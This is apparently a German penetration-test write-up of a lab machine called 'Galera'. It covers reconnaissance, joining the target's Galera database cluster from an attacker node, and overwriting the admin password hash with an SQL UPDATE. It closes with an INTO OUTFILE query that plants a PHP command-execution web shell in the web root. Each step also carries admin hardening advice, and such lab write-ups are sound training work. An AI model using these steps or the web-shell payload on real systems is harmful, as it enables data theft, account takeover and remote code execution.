-rw-r--r-- 0 0 1017 23-May-2025 23:29 data_block_9623.myd
-rw-r--r-- 0 0 2267 23-May-2025 23:32 daten_block_offset12720.myd
-rw-r--r-- 0 0 137 23-May-2025 23:34 daten_block_offset16870.myd
-rw-r--r-- 0 0 717 23-May-2025 23:36 daten_block_offset20726.myd
-rw-r--r-- 0 0 4721120 23-May-2025 23:02 decompressed_zlib_flate.bin
-rw-r--r-- 0 0 1017 23-May-2025 23:30 first_data_block.myd
-rw-r--r-- 0 0 3475 23-May-2025 23:13 mysql_chunk_5286_len3475.dat
-rw-r--r-- 0 0 4714 23-May-2025 23:19 mysql_chunk_larger.dat
-rw-r--r-- 0 0 40960 23-May-2025 23:34 photorec.se2
-rw-r--r-- 0 0 2374 23-May-2025 22:58 pp.py
-rw-r--r-- 0 0 2832024 23-May-2025 22:59 test.gz
-rw-r--r-- 0 0 13000 23-May-2025 23:25 users_data.myd
-rw-r--r-- 0 0 6714 23-May-2025 23:25 users_index.myi
Auch kein Erfolg weiter suchen....
Analyse: Der Pentester verwendet `PhotoRec`, ein Tool zur Datenwiederherstellung, das Dateien basierend auf ihren Headern und Dateistrukturen wiederherstellen kann, auch wenn das Dateisystem beschädigt ist oder Dateien gelöscht wurden. Hier wird es wahrscheinlich auf die Datei `decompressed_zlib_flate.bin` (oder das gesamte Verzeichnis `_galera.png.extracted`) angewendet, um nach weiteren versteckten oder fragmentierten Dateien zu suchen. Die Ausgabe zeigt eine Liste von Dateien, die PhotoRec (oder ein ähnliches Tool wie `foremost`, da ein `foremost_output`-Verzeichnis existiert) in diesem Verzeichnis gefunden oder erstellt hat. Darunter sind: Dateien mit Namen wie `block_....myi`, `data_block_....myd`, `users_data.myd`, `users_index.myi`. Die Erweiterungen `.myi` (MySQL Index) und `.myd` (MySQL Data) deuten stark auf MySQL/MariaDB-Datenbankdateien hin. `mysql_chunk_....dat`: Weitere potenziell datenbankbezogene Dateien. `pp.py`: Eine Python-Datei. `test.gz`: Eine Gzip-komprimierte Datei. Der Kommentar "Auch kein Erfolg weiter suchen...." deutet darauf hin, dass die direkte Untersuchung dieser extrahierten Dateien (vielleicht der `.myd`/`.myi`-Dateien) noch keine direkten Zugangsdaten oder einen klaren nächsten Schritt ergeben hat.
Bewertung: Die Entdeckung von MySQL/MariaDB-Datenbankfragmenten (`.myd`, `.myi`) ist ein sehr signifikanter Fund. Selbst wenn sie fragmentiert sind, könnten sie Tabellenstrukturen, Benutzernamen oder sogar gehashte Passwörter enthalten. Die `users_data.myd` und `users_index.myi` sind besonders vielversprechend. Die Datei `pp.py` könnte ein Skript sein, das mit diesen Daten interagiert oder anderweitig relevant ist. `test.gz` sollte ebenfalls dekomprimiert und untersucht werden.
Empfehlung (Pentester):
Konzentrieren Sie sich auf die `.myd`- und `.myi`-Dateien. Versuchen Sie, diese in eine laufende MySQL/MariaDB-Instanz zu importieren oder mit spezialisierten Tools für MySQL-Datenrettung zu analysieren.
Untersuchen Sie den Inhalt von `pp.py`.
Dekomprimieren Sie `test.gz` (z.B. mit `gunzip test.gz`) und analysieren Sie den Inhalt.
Auch wenn der Pentester "kein Erfolg" notiert, ist die Entdeckung von Datenbankdateien ein großer Fortschritt. Der "Erfolg" könnte in der komplexen Wiederherstellung oder Interpretation dieser Daten liegen.
Empfehlung (Admin): Dies zeigt, wie Daten selbst aus scheinbar harmlosen Dateien extrahiert und rekonstruiert werden können. Starke Verschlüsselung für sensible Daten (Data-at-Rest) ist wichtig. Wenn Datenbank-Backups oder -Exporte erstellt werden, sollten diese sicher gespeichert und der Zugriff darauf streng kontrolliert werden.
WhatWeb report for http://192.168.2.201 Status : 200 OK Title : Login IP : 192.168.2.201 Country : RESERVED, ZZ Summary : Apache[2.4.62], Cookies[PHPSESSID], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], HttpOnly[PHPSESSID], PasswordField[pass], Strict-Transport-Security[max-age=31536000; includeSubDomains], UncommonHeaders[content-security-policy,x-content-type-options,referrer-policy,permissions-policy], X-Frame-Options[DENY], X-UA-Compatible[IE=edge] Detected Plugins: [ Apache ] The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version : 2.4.62 (from HTTP Server Header) Google Dorks: (3) Website : http://httpd.apache.org/ [ Cookies ] Display the names of cookies in the HTTP headers. The values are not returned to save on space. String : PHPSESSID [ HTML5 ] HTML version 5, detected by the doctype declaration [ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS : Debian Linux String : Apache/2.4.62 (Debian) (from server string) [ HttpOnly ] If the HttpOnly flag is included in the HTTP set-cookie response header and the browser supports it then the cookie cannot be accessed through client side script - More Info: [Link: http://en.wikipedia.org/wiki/HTTP_cookie | Ziel: http://en.wikipedia.org/wiki/HTTP_cookie] String : PHPSESSID [ PasswordField ] find password fields String : pass (from field name) [ Strict-Transport-Security ] Strict-Transport-Security is an HTTP header that restricts a web browser from accessing a website without the security of the HTTPS protocol. String : max-age=31536000; includeSubDomains [ UncommonHeaders ] Uncommon HTTP server headers. The blacklist includes all the standard headers and many non standard but common ones. Interesting but fairly common headers should have their own plugins, eg. x-powered-by, server and x-aspnet-version. Info about headers can be found at www.http-stats.com String : content-security-policy,x-content-type-options,referrer-policy,permissions-policy (from headers) [ X-Frame-Options ] This plugin retrieves the X-Frame-Options value from the HTTP header. - More Info: [Link: http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.aspx | Ziel: http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.aspx] String : DENY [ X-UA-Compatible ] This plugin retrieves the X-UA-Compatible value from the HTTP header and meta http-equiv tag. - More Info: [Link: http://msdn.microsoft.com/en-us/library/cc817574.aspx | Ziel: http://msdn.microsoft.com/en-us/library/cc817574.aspx] String : IE=edge HTTP Headers: HTTP/1.1 200 OK Date: Sun, 25 May 2025 21:48:22 GMT Server: Apache/2.4.62 (Debian) Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: no-referrer Permissions-Policy: geolocation=(), microphone=() Set-Cookie: PHPSESSID=1ejbh087bgg6is55chjhongquk; path=/; HttpOnly; SameSite=Strict Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 485 Connection: close Content-Type: text/html; charset=UTF-8
Analyse: Der Befehl `whatweb 192.168.2.201 -v` wird ausgeführt. WhatWeb ist ein weiteres Tool zur Identifizierung von Web-Technologien. `-v` steht für verbose output. Die Ausgabe von WhatWeb bestätigt viele der bereits durch Nmap und manuelle Inspektion der HTTP-Header gewonnenen Erkenntnisse: Server: Apache/2.4.62 (Debian) Verwendung von Cookies (PHPSESSID mit HttpOnly) HTML5 Vorhandensein eines Passwortfeldes namens "pass" Diverse Sicherheitsheader: Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy. X-UA-Compatible: IE=edge Die HTTP-Header-Sektion listet die Header detailliert auf, was eine gute Zusammenfassung darstellt.
Bewertung: WhatWeb liefert hier keine grundlegend neuen Informationen, aber es fasst die technologischen Aspekte der Webseite gut zusammen und bestätigt frühere Beobachtungen. Es ist ein guter "Sanity Check" und kann manchmal subtile Hinweise auf verwendete Frameworks oder CMS-Systeme geben, die andere Tools übersehen.
Empfehlung (Pentester): Die Informationen sind konsistent. Der Fokus sollte weiterhin auf der Ausnutzung der bekannten Schwachstellen (`private.php/../` für CSRF-Token) und der Analyse der aus der PNG-Datei extrahierten Daten liegen. Wenn der Web-Angriff nicht weiterführt, muss der Fokus eventuell auf den SSH-Dienst oder den mysteriösen Port 4567 verlagert werden.
Empfehlung (Admin): Die Konfiguration der Sicherheitsheader ist ein guter Schritt. Überprüfen Sie regelmäßig die Aktualität und korrekte Konfiguration aller eingesetzten Web-Technologien.
[Link: https://www.google.com/search?q=Debian+Linux%5D%5BApache%2F2.4.62+%28Debian%29&sca_esv=879671df04b2aaf3&sxsrf=AE3TifNjB5BwiHDAe_U4r8Nrz2XngkLj_A%3A1748209804998&source=hp&ei=jJAzaJrpOt6F7NYPv_OnyQ8&iflsig=AOw8s4IAAAAAaDOenKuJsES9tOctYZQs_RM8IM4qqxqQ&ved=0ahUKEwia36uDzb-NAxXeAtsEHb_5KfkQ4dUDCBk&uact=5&oq=Debian+Linux%5D%5BApache%2F2.4.62+%28Debian%29&gs_lp=Egdnd3Mtd2l6IiREZWJpYW4gTGludXhdW0FwYWNoZS8yLjQuNjIgKERlYmlhbikyBRAAGO8FMgUQABjvBTIFEAAY7wUyBRAAGO8FMgUQABjvBUjaEVAAWABwAHgAkAEAmAGAAaABgAGqAQMwLjG4AQPIAQD4AQL4AQGYAgGgAoUBmAMAkgcDMC4xoAfABbIHAzAuMbgHhQE&sclient=gws-wiz#cobssid=s | Ziel: https://www.google.com/search?q=Debian+Linux%5D%5BApache%2F2.4.62+%28Debian%29&sca_esv=879671df04b2aaf3&sxsrf=AE3TifNjB5BwiHDAe_U4r8Nrz2XngkLj_A%3A1748209804998&source=hp&ei=jJAzaJrpOt6F7NYPv_OnyQ8&iflsig=AOw8s4IAAAAAaDOenKuJsES9tOctYZQs_RM8IM4qqxqQ&ved=0ahUKEwia36uDzb-NAxXeAtsEHb_5KfkQ4dUDCBk&uact=5&oq=Debian+Linux%5D%5BApache%2F2.4.62+%28Debian%29&gs_lp=Egdnd3Mtd2l6IiREZWJpYW4gTGludXhdW0FwYWNoZS8yLjQuNjIgKERlYmlhbikyBRAAGO8FMgUQABjvBTIFEAAY7wUyBRAAGO8FMgUQABjvBUjaEVAAWABwAHgAkAEAmAGAAaABgAGqAQMwLjG4AQPIAQD4AQL4AQGYAgGgAoUBmAMAkgcDMC4xoAfABbIHAzAuMbgHhQE&sclient=gws-wiz#cobssid=s] Debian Linux][Apache/2.4.62 (Debian) [Link: https://packages.debian.org/bookworm/apache2 | Ziel: https://packages.debian.org/bookworm/apache2] bookworm Apache/2.4.62 (Debian) [Link: https://packages.debian.org/bookworm/database/galera-arbitrator-3 | Ziel: https://packages.debian.org/bookworm/database/galera-arbitrator-3]
Analyse: Der Pentester führt Recherchen zu den identifizierten Softwareversionen durch. Die erste Google-Suche zielt auf "Debian Linux][Apache/2.4.62 (Debian)", um Informationen über diese spezifische Apache-Version unter Debian zu finden. Der Link zu `packages.debian.org/bookworm/apache2` bestätigt, dass Apache 2.4.62 die Version im Debian "Bookworm"-Release ist. Der Link zu `packages.debian.org/bookworm/database/galera-arbitrator-3` zeigt, dass "Galera Arbitrator 3" ein Paket in Debian Bookworm ist. Galera Arbitrator ist eine Komponente von Galera Cluster, die bei Split-Brain-Szenarien hilft, ein Quorum zu bilden. Der Name der Maschine ist "Galera", der Nmap-Scan auf Port 4567 war verdächtig, und jetzt gibt es einen Hinweis auf Galera-Software im Debian-Repository. Dies stärkt die Hypothese, dass auf dem Zielsystem Galera Cluster läuft und Port 4567 damit in Verbindung steht.
Bewertung: Diese Recherche ist ein wichtiger Schritt, um Kontext zu den gefundenen Diensten und Versionen zu erhalten. Die Bestätigung, dass Galera-Komponenten Teil des Debian-Releases sind, das wahrscheinlich auf der Zielmaschine läuft, und die Verbindung zum Maschinennamen "Galera" und dem offenen Port 4567 ist ein starker Indikator. Es scheint, dass das Zielsystem ein Knoten in einem Galera Cluster ist oder eine Galera-Installation hostet.
Empfehlung (Pentester): Suchen Sie nach bekannten Schwachstellen für Apache 2.4.62 unter Debian Bookworm und für Galera Cluster (insbesondere Version 3, falls zutreffend). Untersuchen Sie, wie man mit einem Galera Cluster über Port 4567 interagieren kann (z.B. mit `mysql` Client, wenn es sich um einen MySQL/MariaDB-basierten Cluster handelt und der Port für Client-Verbindungen offen ist, oder mit spezifischen Galera-Tools).
Empfehlung (Admin): Halten Sie alle Systemkomponenten, einschließlich Apache und Galera Cluster, auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Stellen Sie sicher, dass die Galera Cluster-Kommunikation (typischerweise auf Port 4567) ordnungsgemäß durch Firewalls geschützt und nur für die notwendigen Cluster-Knoten erreichbar ist.
Initial Access
[galera] wsrep_on = ON wsrep_provider = /usr/lib/galera/libgalera_smm.so wsrep_cluster_address = "gcomm://192.168.2.201:4567" wsrep_node_address = "192.168.2.199:4567" wsrep_node_name = "node2" wsrep_sst_method = rsync binlog_format = ROW default_storage_engine = InnoDB
Analyse: Der Pentester bearbeitet die Datei `/etc/mysql/mariadb.conf.d/galera.cnf` auf seiner **eigenen (Angreifer-)Maschine**. Dies ist eine Konfigurationsdatei für MariaDB/MySQL, um einen Galera-Knoten einzurichten. Die Konfigurationseinstellungen sind: `wsrep_on = ON`: Aktiviert die wsrep (WriteSet REplication) API, die Galera verwendet. `wsrep_provider = /usr/lib/galera/libgalera_smm.so`: Pfad zur Galera-Provider-Bibliothek. `wsrep_cluster_address = "gcomm://192.168.2.201:4567"`: Dies ist die entscheidende Zeile. Sie weist den lokalen MariaDB-Dienst an, sich mit dem bestehenden Galera-Cluster-Knoten unter der IP-Adresse des Ziels (`192.168.2.201`) auf Port `4567` zu verbinden. `gcomm://` ist das Präfix für die Cluster-Adressen. `wsrep_node_address = "192.168.2.199:4567"`: Die Adresse, die dieser lokale Knoten im Cluster verwenden wird (IP des Angreifers). `wsrep_node_name = "node2"`: Ein Name für diesen neuen Knoten. `wsrep_sst_method = rsync`: Methode für State Snapshot Transfer (SST), um einen neuen Knoten mit den Daten des Clusters zu synchronisieren. `binlog_format = ROW`, `default_storage_engine = InnoDB`: Standardeinstellungen für Galera. Der Pentester versucht hier, seine eigene Maschine als neuen Knoten in den Galera-Cluster des Ziels einzubinden.
Bewertung: Dies ist ein sehr cleverer und fortgeschrittener Ansatz! Wenn der Galera-Cluster auf dem Zielsystem so konfiguriert ist, dass er neue Knoten ohne Authentifizierung oder mit schwacher Authentifizierung akzeptiert, könnte der Angreifer durch Beitritt zum Cluster eine vollständige Kopie der Datenbank erhalten (via SST) oder sogar Schreibzugriff auf die Datenbank erlangen. Dies ist ein direkter Weg zum initialen Zugriff auf die Daten.
Empfehlung (Pentester): Starten Sie den lokalen MariaDB-Dienst nach dieser Konfiguration. Überwachen Sie die MariaDB-Logs auf der Angreifer-Maschine genau, um zu sehen, ob die Verbindung zum Cluster erfolgreich ist und ob ein SST durchgeführt wird. Wenn ja, überprüfen Sie die synchronisierten Datenbanken auf sensible Informationen.
Empfehlung (Admin): Sichern Sie Galera Cluster rigoros! Verwenden Sie starke Authentifizierung für den Beitritt neuer Knoten. Beschränken Sie die Netzwerkadressen, von denen aus neue Knoten dem Cluster beitreten können (Firewall und Galera-Konfiguration, z.B. `wsrep_sst_auth`). Stellen Sie sicher, dass SST-Methoden sicher konfiguriert sind. Überwachen Sie Cluster-Beitrittsversuche.
Analyse: Der Befehl `systemctl start mariadb` startet den MariaDB-Dienst auf der Angreifer-Maschine. Durch die zuvor geänderte Konfigurationsdatei `/etc/mysql/mariadb.conf.d/galera.cnf` wird MariaDB nun versuchen, sich als Knoten `node2` mit dem Galera-Cluster auf `192.168.2.201:4567` zu verbinden.
Bewertung: Dies ist der ausführende Schritt des vorherigen Konfigurationsversuchs. Der Erfolg hängt davon ab, ob der Zielcluster den neuen Knoten akzeptiert und die Synchronisation (SST) startet.
Empfehlung (Pentester): Überprüfen Sie die MariaDB-Logs (typischerweise unter `/var/log/mysql/` oder über `journalctl -u mariadb`) auf Meldungen bezüglich des Cluster-Beitritts und SST. Wenn erfolgreich, verbinden Sie sich lokal mit der MariaDB-Instanz und untersuchen Sie die Datenbanken.
Empfehlung (Admin): Überwachen Sie die Logs des Galera-Clusters auf dem Zielsystem auf neue Knotenbeitritte. Implementieren Sie Alarme für unerwartete Knotenbeitritte.
Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 21 Server version: 11.8.1-MariaDB-4 Debian n/a Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Support MariaDB developers by giving a star at [Link: https://github.com/MariaDB/server | Ziel: https://github.com/MariaDB/server] Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | galeradb | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0,000 sec) MariaDB [(none)]> use galeradb; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [galeradb]> show tables; +--------------------+ | Tables_in_galeradb | +--------------------+ | users | +--------------------+ 1 row in set (0,000 sec) MariaDB [galeradb]> select * from users; +----+----------+------------------+--------------------------------------------------------------+---------------------+ | id | username | email | password | created_at | +----+----------+------------------+--------------------------------------------------------------+---------------------+ | 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-05 01:55:51 | +----+----------+------------------+--------------------------------------------------------------+---------------------+ 1 row in set (0,000 sec)
Analyse: Der Pentester verbindet sich mit dem lokalen MariaDB-Dienst (`mysql -uroot -p`). Da die lokale MariaDB-Instanz erfolgreich dem Galera-Cluster des Ziels beigetreten zu sein scheint (sonst wären die Daten nicht synchronisiert), sind nun die Datenbanken des Zielclusters auf der Angreifer-Maschine verfügbar. `show databases;` listet die verfügbaren Datenbanken. Die Datenbank `galeradb` ist vorhanden, was ein starkes Indiz für eine erfolgreiche Synchronisation ist. `use galeradb;` wählt die Datenbank `galeradb` aus. `show tables;` zeigt die Tabellen in `galeradb`. Es gibt eine Tabelle namens `users`. `select * from users;` gibt alle Einträge aus der Tabelle `users` aus. Der entscheidende Fund ist der Eintrag für den Benutzer `admin` mit der E-Mail `admin@galera.hmv` und dem Passwort-Hash `$2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq`. Der Hash-Präfix `$2y$` deutet auf einen bcrypt-Hash hin, der als sicher gilt.
Bewertung: Fantastisch! Der Plan, dem Galera-Cluster beizutreten, war erfolgreich! Der Pentester hat nun eine vollständige Kopie der `galeradb`-Datenbank, einschließlich der `users`-Tabelle mit Benutzernamen und Passwort-Hashes. Der bcrypt-Hash für den `admin`-Benutzer ist der Schlüssel zum nächsten Schritt. Obwohl bcrypt schwer zu knacken ist, kann mit genügend Rechenleistung oder falls das Passwort schwach ist, ein Offline-Cracking-Versuch erfolgreich sein.
Empfehlung (Pentester): Versuchen Sie, den bcrypt-Hash `$2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq` mit Tools wie Hashcat oder John the Ripper und einer guten Wortliste (z.B. `rockyou.txt`) offline zu knacken. Wenn der Hash geknackt werden kann, haben Sie die Anmeldeinformationen für den `admin`-Account der Webanwendung.
Empfehlung (Admin): Dies ist eine kritische Schwachstelle. Die Galera-Cluster-Konfiguration muss dringend dahingehend überprüft werden, dass neue Knoten nicht ohne starke Authentifizierung beitreten können. Verwenden Sie lange, komplexe und einzigartige Passwörter für Datenbankbenutzer, um das Knacken von Hashes zu erschweren, selbst wenn diese kompromittiert werden.
$2a$12$JRGziG1jE.R3SmllY9NWDeEeUq1DXnHzDBcM63Mkj/xwJXmRhx5T. USE galeradb; UPDATE users SET password = '$2a$12$JRGziG1jE.R3SmllY9NWDeEeUq1DXnHzDBcM63Mkj/xwJXmRhx5T.' WHERE username = 'admin';
Analyse: Das Bild zeigt, wie der Pentester einen Online-Bcrypt-Generator verwendet, um einen neuen Bcrypt-Hash für ein selbst gewähltes Passwort zu erstellen. Der generierte Hash ist `$2a$12$JRGziG1jE.R3SmllY9NWDeEeUq1DXnHzDBcM63Mkj/xwJXmRhx5T.` (Das `$2a$`-Präfix ist ebenfalls bcrypt, oft austauschbar mit `$2y$`, die `12` ist der Kostenfaktor). Anschließend werden SQL-Befehle gezeigt, um diesen neuen Hash in die `users`-Tabelle der (lokal synchronisierten) `galeradb`-Datenbank für den Benutzer `admin` einzutragen: `USE galeradb;` `UPDATE users SET password = '$2a$12$JRGziG1jE.R3SmllY9NWDeEeUq1DXnHzDBcM63Mkj/xwJXmRhx5T.' WHERE username = 'admin';` Dies überschreibt den ursprünglichen Passwort-Hash des `admin`-Benutzers mit dem Hash des vom Pentester kontrollierten Passworts.
Bewertung: Da der Pentester nun Schreibzugriff auf seine lokale Kopie der Datenbank hat (die mit dem Cluster synchronisiert ist), kann er das Passwort des `admin`-Benutzers auf ein bekanntes Passwort ändern. Wenn die Änderungen vom lokalen Knoten zurück in den Cluster repliziert werden (was bei Galera Standard ist, wenn der Knoten als vollwertiges Mitglied agiert), wird das Passwort des `admin`-Benutzers auf dem Zielsystem effektiv geändert. Dies ist ein direkter Weg zum initialen Zugriff auf die Webanwendung mit Admin-Rechten.
Empfehlung (Pentester): Führen Sie das SQL-Update-Statement auf Ihrer lokalen MariaDB-Instanz aus. Warten Sie kurz auf die Replikation (falls der Cluster noch aktiv synchronisiert). Versuchen Sie dann, sich mit dem `admin`-Benutzernamen und dem Passwort, für das der neue Hash generiert wurde, auf der Webseite (`http://galera.hmv/login.php`) anzumelden.
Empfehlung (Admin): Dies unterstreicht erneut die Kritikalität der unsicheren Galera-Cluster-Konfiguration. Wenn ein Angreifer dem Cluster beitreten und Daten ändern kann, ist das System vollständig kompromittiert. Starke Authentifizierung und Autorisierung für Cluster-Operationen sind unerlässlich.
UPDATE users SET password = '$2a$12$JRGziG1jE.R3SmllY9NWDeEeUq1DXnHzDBcM63Mkj/xwJXmRhx5T.' WHERE username = 'admin'; Query OK, 1 row affected (0,003 sec) Rows matched: 1 Changed: 1 Warnings: 0
Analyse: Das SQL `UPDATE`-Statement wird erfolgreich ausgeführt, wie durch `Query OK, 1 row affected` bestätigt wird. Das Passwort des `admin`-Benutzers in der lokalen (und potenziell replizierten) Datenbank wurde geändert. Das Bild `als_admin_eingeloggt.jpg` (hier nicht direkt sichtbar, aber beschrieben) zeigt, dass sich der Pentester anschließend erfolgreich mit dem neuen, selbst erstellten Passwort als `admin` in die Webanwendung eingeloggt hat.
Bewertung: Initial Access erfolgreich erlangt! Durch die Ausnutzung der schwachen Galera-Cluster-Konfiguration konnte der Passwort-Hash des Admin-Benutzers überschrieben und somit der Zugriff auf die Webanwendung mit administrativen Rechten erlangt werden. Dies ist ein signifikanter Durchbruch.
Empfehlung (Pentester): Erkunden Sie die Webanwendung als Administrator. Suchen Sie nach weiteren Funktionalitäten, potenziellen Schwachstellen (z.B. Dateiupload, Codeausführungsmöglichkeiten, XSS, SQLi in anderen Teilen der Anwendung), oder Informationen, die für die Privilege Escalation auf dem zugrundeliegenden System nützlich sein könnten.
Empfehlung (Admin): Sofortige Maßnahmen: Ändern Sie das Admin-Passwort auf ein starkes, einzigartiges Passwort. Sichern Sie die Galera-Cluster-Konfiguration (Authentifizierung für neue Knoten, Firewall-Regeln). Führen Sie ein vollständiges Sicherheitsaudit des Systems und der Anwendung durch.
Proof of Concept: Ausnutzung der SQL-Injection über Datenbankreplikation zur Web-Shell
Kurzbeschreibung: Nachdem administrativer Zugriff auf die Webanwendung über die Manipulation der Galera-Datenbank erlangt wurde, wird nun versucht, diesen Zugriff zu nutzen, um eine Web-Shell auf dem Server zu platzieren. Dies geschieht durch Ausnutzung der Tatsache, dass der MariaDB-Benutzer (`root@localhost`, mit dem die lokalen Operationen durchgeführt werden) möglicherweise `FILE`-Privilegien hat und die Variable `secure_file_priv` nicht restriktiv gesetzt ist. Dies erlaubt das Schreiben von Dateien in das Dateisystem des Servers über SQL-Befehle, die dann über den Galera-Cluster auf den Zielserver repliziert werden könnten.
Voraussetzungen:
- Kontrolle über einen Knoten im Galera-Cluster (bereits erreicht).
- Der MariaDB-Benutzer auf dem Cluster-Knoten, der die Schreiboperation ausführt, muss `FILE`-Privilegien besitzen.
- Die MariaDB-Systemvariable `secure_file_priv` muss entweder leer sein (erlaubt Schreiben überall, wo der DB-Benutzer Systemrechte hat) oder auf ein Verzeichnis zeigen, das im Webroot liegt.
- Kenntnis des Web-Document-Roots (hier `/var/www/html`, oft aus `phpinfo()` oder Serverkonfigurationen ersichtlich).
SHOW VARIABLES LIKE 'secure_file_priv'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+ 1 row in set (0,004 sec)
Analyse (POC Schritt 1): Der SQL-Befehl `SHOW VARIABLES LIKE 'secure_file_priv';` wird ausgeführt, um den Wert der Systemvariablen `secure_file_priv` zu überprüfen. Diese Variable steuert, aus welchen Verzeichnissen MySQL/MariaDB Dateien lesen (`LOAD DATA INFILE`) oder in welche es schreiben darf (`SELECT ... INTO OUTFILE`). Die Ausgabe zeigt, dass der `Value` für `secure_file_priv` leer ist.
Bewertung (POC Schritt 1): Ein leerer Wert für `secure_file_priv` ist aus Sicherheitssicht sehr bedenklich. Es bedeutet, dass der Datenbankserver Dateien in jedes Verzeichnis schreiben kann, für das der Benutzer, unter dem der MariaDB-Dienst läuft (typischerweise `mysql`), Schreibrechte auf dem Betriebssystem hat. Dies öffnet die Tür für das Schreiben einer Web-Shell in das Web-Root-Verzeichnis.
Empfehlung (Pentester): Dies ist eine exzellente Voraussetzung für das Platzieren einer Web-Shell.
Empfehlung (Admin): Setzen Sie `secure_file_priv` in der MariaDB-Konfiguration (`my.cnf` oder `my.ini`) auf ein dediziertes, nicht web-zugängliches Verzeichnis oder, falls nicht benötigt, auf `NULL`, um das Lesen/Schreiben von Dateien über SQL gänzlich zu verbieten. Ein leerer Wert sollte in Produktivumgebungen niemals verwendet werden.
SHOW GRANTS FOR CURRENT_USER(); +-----------------------------------------------------------------------------------------------------------------------------------------+ | Grants for root@localhost | +-----------------------------------------------------------------------------------------------------------------------------------------+ | GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` IDENTIFIED VIA mysql_native_password USING 'invalid' OR unix_socket WITH GRANT OPTION | | GRANT PROXY ON ''@'%' TO 'root'@'localhost' WITH GRANT OPTION | +-----------------------------------------------------------------------------------------------------------------------------------------+ 2 rows in set (0,000 sec)
Analyse (POC Schritt 2): Der Befehl `SHOW GRANTS FOR CURRENT_USER();` zeigt die Berechtigungen des aktuellen Datenbankbenutzers, der hier `root@localhost` ist (der Standard-Adminbenutzer von MariaDB/MySQL auf der lokalen Maschine des Pentesters). Die Ausgabe `GRANT ALL PRIVILEGES ON *.* TO root@localhost ... WITH GRANT OPTION` bestätigt, dass dieser Benutzer volle administrative Rechte auf alle Datenbanken (`*.*`) hat, einschließlich des `FILE`-Privilegs, das Teil von `ALL PRIVILEGES` ist.
Bewertung (POC Schritt 2): Die Kombination aus `FILE`-Privileg für den Benutzer und einem leeren `secure_file_priv` ist die perfekte Voraussetzung, um Dateien per SQL-Befehl ins Dateisystem zu schreiben.
Empfehlung (Pentester): Fahren Sie mit dem Schreiben der Web-Shell fort.
Empfehlung (Admin): Der `root@localhost`-Benutzer sollte mit einem starken Passwort geschützt sein. Für Anwendungen sollten dedizierte Benutzer mit minimal notwendigen Rechten erstellt werden. Das `FILE`-Privileg sollte nur vergeben werden, wenn es absolut unumgänglich ist.
Analyse (Exkurs/Zusatzversuch): Das Bild `xss_test.jpg` (hier nicht im Detail sichtbar, aber durch den Namen beschrieben) deutet darauf hin, dass der Pentester, nachdem er Admin-Zugriff auf die Webanwendung erlangt hat, auch nach Cross-Site-Scripting (XSS)-Schwachstellen gesucht hat. Dies ist ein Standardvorgehen, um zu prüfen, ob Benutzereingaben unsachgemäß validiert und im Browser anderer Benutzer ausgeführt werden können. Da dies nach dem Erlangen des Admin-Zugriffs und vor der Privilege Escalation auf Systemebene gezeigt wird, war es wahrscheinlich Teil der Erkundung der Admin-Oberfläche.
Bewertung (Exkurs/Zusatzversuch): Das Testen auf XSS ist immer eine gute Praxis, auch als eingeloggter Admin, da Admins oft Zugriff auf mehr Funktionen haben, deren Parameter möglicherweise anfällig sind. Ob der Test erfolgreich war, geht aus dem Bildtitel allein nicht hervor, aber die Tatsache, dass es dokumentiert wurde, ist relevant.
Empfehlung (Pentester): Wenn XSS gefunden wurde, dokumentieren Sie den Vektor und die Auswirkungen (z.B. Session-Diebstahl anderer Admins, Ausführen von Aktionen im Namen anderer Benutzer).
Empfehlung (Admin): Stellen Sie sicher, dass alle Eingabefelder in der gesamten Webanwendung, einschließlich der Admin-Bereiche, serverseitig validiert und für den jeweiligen Ausgabekontext korrekt kodiert (escaped) werden, um XSS zu verhindern.
SELECT "?php if(isset($GET['cmd'])){ echo 'pre'; system($GET['cmd']); echo '/pre'; } ?" INTO OUTFILE '/var/www/html/revshell.php'; Query OK, 1 row affected (0,001 sec)
